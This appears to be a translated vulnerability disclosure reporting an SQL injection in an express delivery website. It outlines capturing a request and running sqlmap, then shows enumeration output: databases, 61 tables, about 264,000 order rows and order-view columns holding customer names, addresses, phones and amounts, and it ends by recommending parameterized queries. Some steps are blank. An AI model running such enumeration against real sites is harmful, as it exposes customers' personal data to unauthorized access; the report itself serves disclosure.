Fast delivery has SQL Injection involving 0.26 million of order information including amount and other details

Fast delivery has SQL Injection involving 0.26 million of order information including amount and other details

Fast delivery of one SQL injection (0.26 million order information including amount and other details)

1. log on to express delivery and go to the following page and click-repository storage

2

3. Capture packets

4. Save the code to the text and run it with sqlmap.

5. Database

Web server operating system: Windows 2003 or XP

Web application technology: ASP. NET, Microsoft IIS 6.0, ASP. NET 2.0.50727

Back-end DBMS: Microsoft SQL Server 2005

Available databases [7]:

[*] Kuaidi0522

[*] Master

[*] Model

[*] Msdb

[*] ReportServer

[*] ReportServerTempDB

[*] Tempdb

6. Table

Database: kuaidi0522

[61 tables]

+ --------------------- +

| BalanceLog |

| CustomerJFLog |

| CustomerJFLog |

| DBKouAn |

| DP_BaoZhuang |

| DP_JJDZ |

| DP_relax |

| Daigou |

| DeliType |

| Downs |

| EpsPrint |

| JF_Goods |

| Job |

| OrderFormat |

| OrderFormat |

| OrderPackage |

| PackPrice |

| PackPrice |

| PackType |

| Pags |

| PayMode |

| PayType |

| Query |

| SendType |

| StateType |

| StoreCangKu |

| StoreClass |

| StoreInfo_Items |

| StoreInfo_Items |

| StoreItem |

| StoreLog |

| StoreOutInfo_Items |

| StoreOutInfo_Items |

| StorePrice |

| Store_ZYGS |

| UserIds |

| VirtualOrders |

| WebInfo |

| Addressbook |

| AdminLogin |

| BagInfo |

| City |

| Kd_join |

| Kd_know |

| Kd_message |

| Kd_news |

| Kd_ps |

| Kd_qa |

| Kd_url |

| Orderlog |

| SiteLog |

| Type1 |

| Type2 |

| VBagsOrder |

| VJJRelax |

| VOrderList |

| VStoreInfo_Items |

| VStoreInfo_Items |

| VStoreOutInfo_Items |

| VStoreOutInfo_Items |

| Vw_Customer |

+ --------------------- +



Sqlmap resumed the following injection point (s) from stored session:

7. Database: kuaidi0522

+ ------------------------- + --------- +

| Table | Entries |

+ ------------------------- + --------- +

| Dbo. orderlog | 1412665 |

| Dbo. OrderPackage | 264665 |

| Dbo. vOrderList | 264556 |

VOrderList: There are 0.26 million orders in this order view.

8. Let's look at the table structure.

---

Web server operating system: Windows 2003 or XP

Web application technology: ASP. NET, Microsoft IIS 6.0, ASP. NET 2.0.50727

Back-end DBMS: Microsoft SQL Server 2005

Database: kuaidi0522

Table: vOrderList

[47 columns]

+ -------------- + ---------- +

| Column | Type |

+ -------------- + ---------- +

| Aweight | nvarchar |

| BaozhuangID | int |

| CM | int |

| DeliID | int |

| DIM | nvarchar |

| Epsno | varchar |

| FTEdate | nvarchar |

| Id | int |

| Indat | datetime |

| Isdel | int |

| Ispay | int |

| Orderid | nvarchar |

| Orderprice | decimal |

| Packages | nvarchar |

| Packid | int |

| Packtypeid | int |

| PayerAccount | nvarchar |

| PayModeID | int |

| PayTypeID | int |

| Recaddress | nvarchar |

| Reccompany | nvarchar |

| Reccountry | nvarchar |

| Recdate | nvarchar |

| Recer | nvarchar |

| Recphone | nvarchar |

| Recpostal | nvarchar |

| Recsign | nvarchar |

| Sendaddress | nvarchar |

| Sendcompany | nvarchar |

| Sendcountry | nvarchar |

| Sender | nvarchar |

| Sendphone | nvarchar |

| Sendpostal | nvarchar |

| Sendsign | nvarchar |

| Sendtype | nvarchar |

| SentID | int |

| Signdate | nvarchar |

| State | int |

| Tax | nvarchar |

| TotalValue | nvarchar |

| Txt1111 | nvarchar |

| Txt2222 | nvarchar |

| Txt3333 | nvarchar |

| Txt4444 | nvarchar |

| Username | nvarchar |

| Vweight | nvarchar |

| Zydh | nvarchar |

+ -------------- + ---------- +

Here, the sender sendercompany courier address, company order amount phone number, and recipient's company address phone number all have

Solution:

Parameterized Query